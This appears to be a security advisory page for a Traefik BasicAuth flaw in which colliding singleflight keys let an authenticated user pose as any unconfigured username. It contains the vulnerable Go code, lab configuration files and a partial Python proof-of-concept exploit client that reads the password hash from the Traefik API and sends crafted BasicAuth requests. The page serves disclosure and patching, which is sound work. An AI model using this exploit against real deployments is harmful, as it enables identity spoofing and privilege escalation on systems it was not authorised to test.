Improper authorization control for web services In github.com/traefik/traefik/v3
Description
Traefik: BasicAuth singleflight key collision allows authenticated identity spoofing ## Summary There is a low severity vulnerability in Traefik's BasicAuth middleware. Concurrent password verifications are deduplicated through a singleflight group whose key was the delimiter-free concatenation of the submitted password and the stored secret, so a request carrying an unconfigured username — whose secret is empty — can produce the same key as a configured user's valid request and receive that request's successful result. Exploitation requires the attacker to already hold a valid credential and to read the stored password hash, which is only reachable through paths that are themselves privileged: the API is documented as admin-only, the Kubernetes path requires read access to the Secret, and the Docker path requires access to the socket. The key now encodes the password length as a prefix, so distinct (password, secret) pairs can no longer collide. Only the v3.6 line from v3.6.11 onwards and the v3.7 line are affected; earlier v3 releases and the v2 line do not carry the vulnerable deduplication path. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10 ## For more information If you have any questions or comments about this advisory, please open an issue.
Original Description
## Summary Traefik's BasicAuth middleware deduplicates concurrent password checks with asingleflight.Group. Its key is the delimiter-free concatenation password + secret. For an existing user with password P and stored hash H, the key is P || H. An unknown user can select the password P || H; because its secret is the empty string, its key is also P || H. If the existing user's request starts the shared calculation, the unknown user receives the existing user's successful Boolean result. Traefik then continues processing the unknown user's original request and propagates the attacker-selected username through URL.User, the access log, and the configured BasicAuth headerField. A user who knows one valid username/password/hash tuple can therefore authenticate concurrently under any unconfigured username. This becomes a privilege escalation when a backend uses the BasicAuth headerField as a trusted identity, which is the documented purpose of that option. ## Details The vulnerable logic is in pkg/middlewares/auth/basic_auth.go:118-131: go func (b *basicAuth) checkPassword(user, password string) bool { secret := b.auth.Secrets(user, b.auth.Realm) key := password + secret match, _, _ := b.singleflightGroup.Do(key, func() (any, error) { if secret == "" { _ = b.checkSecret(password, b.notFoundSecret) return false, nil } return b.checkSecret(password, secret), nil }) return match.(bool) } For a configured user viewer: text password = P secret = H key = P || H result = true For an unconfigured user admin: text password = P || H secret = "" key = (P || H) || "" = P || H singleflight.Group.Do shares the first in-flight result for equal keys. If the configured user's check is first, the unknown user's closure is not run and the unknown request receives true. The authorization result is not bound to the username. After the shared result is accepted, ServeHTTP uses the username parsed from the unknown request: go req.URL.User = url.User(user) if b.headerField != "" { req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user} } Consequently, the backend sees the attacker-selected admin identity, not the valid request's viewer identity. ### Attack prerequisites The attacker needs: 1. network access to a route protected by the affected BasicAuth middleware; 2. one valid low-privilege username and password; 3. the corresponding stored password hash. The hash is often present in deployment labels or routing configuration. Traefik's API is also a direct source when the attacker can access it: GET /api/http/middlewares/{id} serializes basicAuth.users, including the hash, despite the field carrying loggable:"false". The official v3.7.8 binary returned the hash in the validation environment. The attacker does not need another user's password or a victim-generated request. The attacker creates both concurrent requests: one with their valid credentials and one with an arbitrary, unconfigured target username. ### Security impact When headerField is configured, an authenticated low-privilege user can impersonate an arbitrary identity to the backend. Depending on downstream authorization, this can allow: - access to administrative data; - execution of privileged state-changing operations; - corruption of audit attribution; - bypass of identity-based tenant or role separation. Without headerField, the unknown request is still admitted through the BasicAuth middleware. The practical consequence then depends on whether the protected route treats all authenticated users equally. ## Proof of Concept ### Validation environment - Official Traefik v3.7.8 Linux amd64 release. - Build timestamp: 2026-07-15T12:42:25Z. - Go version in the release: go1.26.5. - Archive SHA-256: dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7. - The checksum matched the official traefik_v3.7.8_checksums.txt release asset. - No Traefik source files were modified. ### Dynamic configuration The bcrypt hash below is for password test and uses cost 12: yaml http: routers: app: entryPoints: - web rule: PathPrefix(`/`) middlewares: - auth service: backend middlewares: auth: basicAuth: headerField: X-WebAuth-User removeHeader: true users: - 'viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.' services: backend: loadBalancer: servers: - url: http://127.0.0.1:19090 Save it as dynamic.yml. Use this install configuration as static.yml: yaml global: checkNewVersion: false sendAnonymousUsage: false api: insecure: true entryPoints: web: address: 127.0.0.1:18080 providers: file: filename: /absolute/path/to/dynamic.yml watch: false The API is enabled only to demonstrate that the runtime representation exposes the configured hash. It is not needed if the tester already knows the hash from the configuration. Use this backend as backend.py; it responds with the identity Traefik puts in the trusted header: python from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer class Handler(BaseHTTPRequestHandler): def do_GET(self): body = (self.headers.get("X-WebAuth-User", "") + "\n").encode() self.send_response(200) self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, *args): pass ThreadingHTTPServer(("127.0.0.1", 19090), Handler).serve_forever() Start the backend and Traefik in separate shells. Shell 1: bash python3 backend.py Shell 2: bash ./traefik --configFile=/absolute/path/to/static.yml ### Exploit client ```python import base64 import http.client import json import threading import time import urllib.request HOST = "127.0.0.1" PORT = 18080 PASSWORD = "test" HASH = "$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u." def request(user, password): conn = http.client.HTTPConnection(HOST, PORT, timeout=5) token = base64.b64encode(f"{user}:{password}".encode()).decode() conn.request("GET", "/", headers={"Authorization": f"Basic {token}"}) response = conn.getresponse() body = response.read().decode().strip() status = response.status conn.close() return status, body middleware = json.load( urllib.request.urlopen( "http://127.0.0.1:8080/api/http/middlewares/auth%40file" ) ) print("api_users", middleware["basicAuth"]["users"]) print("valid_baseline", request("viewer", PASSWORD))Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Component | Affected version | Patched versions |
|---|---|---|---|
 go | 3.6.25, 3.7.10 |
Aliases
1. 2. 3. 4. 5.
References
1. 2. 3. 4. 5.